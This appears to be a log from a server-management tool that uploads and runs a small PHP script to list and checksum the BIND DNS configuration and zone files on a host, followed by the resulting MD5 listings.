2026-02-16 11:25:52: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-16 11:26:39: Establishing a connection
2026-02-16 11:26:47: Establishing a connection
2026-02-16 11:26:47: 

PUT: /tmp/pkp928796

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-16 11:26:47: 

runuser -l bind -s /bin/bash -c '/tmp/pkp928796; rm /tmp/pkp928796'

2026-02-16 11:26:47: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
